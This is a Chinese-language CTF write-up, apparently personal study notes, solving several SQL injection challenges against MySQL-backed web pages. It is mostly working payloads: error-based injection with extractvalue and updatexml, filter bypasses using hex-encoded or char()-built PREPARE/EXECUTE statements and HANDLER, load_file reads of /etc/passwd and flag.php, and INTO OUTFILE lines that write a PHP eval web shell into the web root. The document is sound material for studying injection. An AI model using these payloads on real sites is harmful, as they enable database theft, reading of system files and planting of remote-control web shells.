1.[NISACTF 2022]join-us??sql報錯注入和聯合注入
過濾:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()
其實一開始想到的是布爾盲注,因為輸入1會返回txw4ever,輸入0返回空白,但是禁用了ascii函數,禁用了updatexml函數,但是可以使用extractvalue函數。
database被禁,所以可以考慮用訪問一個不存在的數據庫來返回數據庫。
1'||(select * from aa)#或者將||換成or,爆出sqlsql庫。-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#
由于as也被過濾,無列名注入可以用join 連接
首先自連接查詢出來的表,沒有using條件的結果是兩張表的笛卡爾積,那么列名必然會有重復的部分,而主鍵是不允許重復的,所以查詢出來會報錯,也就把列名爆出來了
select*from (select*from output a join output b)c
2.mysql注入文件操作(root權限)
方法一:
mysql中的load_file函數,允許訪問系統內任意文件并將內容以字符串形式返回,不過需要高權限,且函數參數要求文件的絕對路徑,絕對路徑猜測是/var/www/html/flag.php
構造payload:
0 and updatexml(1,concat('~',(select(database())),'~'),1)%23 0 and updatexml(1,concat('~',(select(user())),'~'),1)%23
爆出root用戶0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#?0?Union select 1,load_file("/etc/passwd")--+
方法二:
寫入函數為into outfile()
INTO OUTFILE()函數將自定義字符串寫入指定文件中 (前提權限允許寫入)
0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"Union select 1,"<?php @eval($_POST[x])?>",1 into outfile '/var/www/html/Less-1/1.php'--+
?3.[強網杯 2019]隨便注
?
一般select等被禁用時,可以考慮堆疊注入
show databases//列出服務器可訪問的數據庫
show tables//顯示該數據庫內相關表的名稱
show columns from tablename;//顯示表tablename的字段、字段類型、鍵值信息、是否可以用null、默認值及其他信息。
查看表
?inject=1' ;show database --+查看列
?inject= 1'; show columns from `words`--+ 或者
?inject= 1'; show columns from words--+
注意:這里使用的是反引號而不是雙引號,這兩個在Linux下不區分,但在Windows下區分。
單引號或者雙引號主要用于字符串的引用符號。
數據庫、表、索引、列和別名的引用符是反勾號。
有MySQL保留字作為字段的,必須加上反引號來區分,如果是數值,必須使用反引號
如何查看flag字段?
?方法一:16進制編碼 prepare預處理
因為select被過濾了,所以先將select * from `?1919810931114514
?`進行16進制編碼
再通過構造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#PREPARE name from '[my sql sequece]'; //預定義SQL語句
EXECUTE name; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name; //刪除預定義SQL 語句變量定義預處理:
SET @tn = 'hahaha'; //存儲表名
SET @sql = concat('select * from ', @tn); //存儲SQL語句
PREPARE name from @sql; //預定義SQL語句
EXECUTE name; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句
或者(2)本題即可利用 char() 函數將select的ASCII碼轉換為select字符串,接著利用concat()函數進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函數拼接select來繞過。
char(115,101,108,101,99,116)等價于select'
因此根據題目意思我們可以構建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
- prepare…from…是預處理語句,會進行編碼轉換。
- execute用來執行由SQLPrepare創建的SQL語句。
- SELECT可以在一條語句里對多個變量同時賦值,而SET只能一次對一個變量賦值
?方法二:handeler
HANDLER … OPEN語句打開一個表,使其可以使用后續HANDLER … READ語句訪問,該表對象未被其他會話共享,并且在會話調用HANDLER … CLOSE或會話終止之前不會關閉
';handler `1919810931114514` open;handler `1919810931114514` read first#